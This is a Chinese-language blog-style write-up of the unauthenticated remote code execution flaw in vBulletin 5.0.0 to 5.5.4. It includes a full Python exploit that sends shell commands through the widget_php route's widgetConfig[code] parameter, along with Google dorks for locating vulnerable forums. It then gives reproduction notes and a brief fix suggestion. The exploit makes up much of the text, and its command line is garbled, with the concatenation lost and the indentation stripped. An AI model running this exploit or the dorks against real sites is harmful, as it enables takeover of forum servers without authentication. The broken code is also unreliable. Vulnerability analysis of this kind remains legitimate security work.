0X1 漏洞概述
vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如X鸟网,XX团购等在线上万人的论坛都用vBulletin。
vBulletin的官方网站是 http://www.vBulletin.com 它不是免费软件,但价格很低。的公司网站和论坛。因此,该0day漏洞细节的公布会对大量的用户带来影响。
匿名黑客称发现vBulletin中存在一个远程代码执行漏洞,影响vBulletin v 5.0.0到最新的v 5.5.4版本。该漏洞非常严重的原因不仅在于可以远程利用,还在于漏洞利用并不需要认证。由于论坛软件包是内部 widget文件通过URL参数接收配置的方式存在漏洞,服务器在分析参数时又没有进行适当的安全检查
漏洞POC参考:https://seclists.org/fulldisclosure/2019/Sep/31
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input("vBulletin$")
params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))
0X2 环境搭建
由于vBulletin需要一些$才能下载源码,找了一下发现网上可以下载的是4.x的代码,无法复现。而该项目维护人员目前还并没有发布更新补丁,官网的测试版本还是最新的5.5.4,因此使用在线测试环境测试。漏洞原理分析可以参考chybeta在先知上做的分析。在官网上填写邮箱,即可得到测试版地址,如下所示
https://www.vbulletin.com/en/vb5-trial/
0X3 漏洞复现
使用上面的poc代码测试demo环境,可以看到返回条件成功
也可参考chybeta的复现过程进行代码注入执行
0X4 漏洞修复
建议对includes\vb5\frontend\controller\bbcode.php中的变量evalCode做过滤防护
0x5 参考文章
https://xz.aliyun.com/t/6419
https://seclists.org/fulldisclosure/2019/Sep/31